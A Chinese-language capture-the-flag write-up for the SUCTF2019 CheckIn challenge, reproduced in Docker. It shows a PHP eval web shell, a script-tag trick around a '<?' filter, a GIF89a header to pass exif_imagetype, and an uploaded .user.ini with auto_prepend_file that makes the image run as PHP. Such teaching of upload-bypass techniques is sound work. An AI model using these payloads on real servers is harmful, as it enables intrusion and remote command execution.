这道题是SUCTF2019的一道题,看了网上的WP,说这是一道签到题… 我对PHP的熟悉的敏感程度还很低,这道题又学到了新的知识。

从github上下载了源码,利用docker来复现,因为要用burpsuite抓包不太方便,所以我绑定了本地的端口

1
$ sudo docker ps

img

docker容器启动后,容器中运行一些网络应用时,可以用-p或者-P参数来指定端口映射。使用-P(大写)选项,docker会随机选择一个端口映射到容器内部开放的网络端口上。

1
$ sudo docker run -d -P checkin

img

访问http://your-ip/32774,看到了一个文件上传的页面

img

上传一个含有<?php eval(@_POST['pass']); ?>的php文件试试,发现返回illegal suffix!,尝试了php5,php6都不行,当然也不可能会这么简单…

img

换其他的后缀,比如txt,这时就发现错误提示变成了&lt;? in contents!,程序会检测你上传的文件中是不是包含<?

img

再继续换掉上传文件的内容

img

这里是调用了函数exif_imagetype来检测,这个函数会读取图像的第一个字节并且检查其签名,如果不是图像则会返回FALSE。

img

所以在文件的前面加上GIF89a来逃过检测,这时发现已经上传成功了

img

至于无法如何绕开<?,我们可以用下面的语句来代替

1
2
3
<script language='php'>
eval(@_POST['pass']);
</script>

img

根据提示我们应该去目录uploads/18797edfc10ea8fc679eb9df684c6307下面访问我们的文件,访问http://192.168.220.129:32774/uploads/18797edfc10ea8fc679eb9df684c6307/shell.jpg发现无法正常读取这个文件,当然无法正常读取,毕竟这本身就不是一个正常的可以显示的图片。

img

正常思路应该是上传一个.htaccess将图片图片解析为php,.htaccess是apache的httpd.conf配置文件,但是在这道题目里是不可取的,原因是这里用的服务器不是apache而是nginx。。。

1
2
// wget -S 可以读取目标网页的一些信息
$ wget -S url

img

到这里就引出了这道题的考点——.user.ini

.htaccess是Apache HTTP Server的文件目录系统级别的配置文件的默认的名字,它提供了在主配置文件中定义用户自定义指令的支持。也就是说.htaccess仅在服务器为Apache时生效。相比.htaccess,.user.ini作为后门的使用范围就更加广泛了,无论是nginx、apache或者是IIS,只要是以fastcgi运行的php都可以支持.user.ini,它不像.htaccess有局限性。

下面是官网中关于.user.ini的解释, 除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录 。也就是说,我们可以通过自己上传.user.ini来控制该文件夹的各个权限,里面的具体参数可以在php.ini中参考。

img

php.ini配置选项列表中有两个特别的参数:auto_append_fileauto_prepend_file

img

auto_prepend_file参数能指定一个特定的文件,自动包含在要执行的文件前,类似在文件前调用了require()函数,auto_append_file类似,是在文件的后面进行文件包含。

img

所以我们需要上传一个.user.ini文件,其中指定auto_prepend_file参数为我们的图片木马,这样图片木马就会被解析为php文件。

1
auto_prepend_file=shell.jpg

img

重新上传shell.jpg读取flag

1
2
3
<script language='php'>
system('cat /flag');
</script>

img

访问url:http://192.168.220.129:32774/uploads/18797edfc10ea8fc679eb9df684c6307/index.php读取flag。

img